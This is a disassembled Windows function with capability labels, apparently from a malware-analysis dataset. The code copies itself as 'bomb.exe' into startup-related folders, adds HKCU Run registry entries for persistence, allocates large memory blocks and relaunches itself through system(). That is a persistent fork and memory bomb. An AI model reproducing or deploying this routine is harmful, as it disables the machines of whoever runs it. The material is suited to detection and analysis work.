Function at 0x4015a9
Capabilities:
Execute command
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x6c8
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp - 0x50]
mov r9d, 0
mov r8d, 0x10
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
lea rax, [rbp + 0x61e]
mov rcx, rax
call fcn.004467d0
lea rcx, [rbp + 0x61e]
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x610]
mov r8, rcx
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x61e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x600]
lea rdx, [rbp + 0x610]
lea r8, str._bomb.exe
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x600]
mov rcx, rax
call sym.fileExists_std::string_const_
xor eax, 1
test al, al
je 0x4017f7
lea rax, [rbp + 0x3a0]
mov r8d, 4
lea rdx, str.bomb.exe
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x1d0]
mov r8d, 4
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_std::string_const__std::_Ios_Openmode_
jmp 0x4016a5
movzx eax, byte [rbp + 0x5bf]
movsx edx, al
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::ostream.put_char_
lea rdx, [rbp + 0x5bf]
lea rax, [rbp + 0x3a0]
mov rcx, rax
call method.std::istream.get_char_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test rax, rax
setne al
test al, al
jne 0x40168c
lea rax, [rbp + 0x3a0]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5b0]
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::string_const_
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp + 0x638], rax
lea rax, str.bombDe.exe
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x638]
lea rdx, [rbp + 0x5a8]
mov qword [rsp + 0x20], rdx
mov r9d, 2
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x4017b7
lea rax, [rbp + 0x5b0]
mov rcx, rax
call method.std::string.size___const
mov ebx, eax
lea rax, [rbp + 0x5b0]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
mov rax, qword [rbp + 0x5a8]
mov rdx, qword [rbp + 0x630]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0x5a8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.0044fe60
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.0045e7e0
lea rax, [rbp + 0x3a0]
mov rcx, rax
call fcn.0045d370
lea rax, [rbp + 0xc0]
mov r9d, 0
mov r8d, 5
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
lea rax, [rbp + 0x61f]
mov rcx, rax
call fcn.004467d0
lea rcx, [rbp + 0x61f]
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x5f0]
mov r8, rcx
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x61f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x5e0]
lea rdx, [rbp + 0x5f0]
lea r8, str._bomb.exe
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x5e0]
mov rcx, rax
call sym.fileExists_std::string_const_
xor eax, 1
test al, al
je 0x401a35
lea rax, [rbp + 0x3a0]
mov r8d, 4
lea rdx, str.bomb.exe
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x1d0]
mov r8d, 4
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_std::string_const__std::_Ios_Openmode_
jmp 0x4018e3
movzx eax, byte [rbp + 0x5a7]
movsx edx, al
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::ostream.put_char_
lea rdx, [rbp + 0x5a7]
lea rax, [rbp + 0x3a0]
mov rcx, rax
call method.std::istream.get_char_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_void___const
test rax, rax
setne al
test al, al
jne 0x4018ca
lea rax, [rbp + 0x3a0]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x590]
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::string_const_
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp + 0x628], rax
lea rax, str.bombDo.exe
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x628]
lea rdx, [rbp + 0x588]
mov qword [rsp + 0x20], rdx
mov r9d, 2
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x4019f5
lea rax, [rbp + 0x590]
mov rcx, rax
call method.std::string.size___const
mov ebx, eax
lea rax, [rbp + 0x590]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
mov rax, qword [rbp + 0x588]
mov rdx, qword [rbp + 0x620]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0x588]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.0044fe60
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.0045e7e0
lea rax, [rbp + 0x3a0]
mov rcx, rax
call fcn.0045d370
lea rax, [rbp + 0x5c0]
mov rcx, rax
call fcn.004684e0
mov rdx, qword [0x0048d760]
mov ecx, 0xee6b2800
call sym.operator_new___unsigned_long_long__std::nothrow_t_const_
mov qword [rbp + 0x580], rax
lea rdx, [rbp + 0x580]
lea rax, [rbp + 0x5c0]
mov rcx, rax
call method.std::vector_int__std::allocator_int___.push_back_int_const_
lea rcx, str.start_bomb.exe
call sym.system
jmp 0x401a44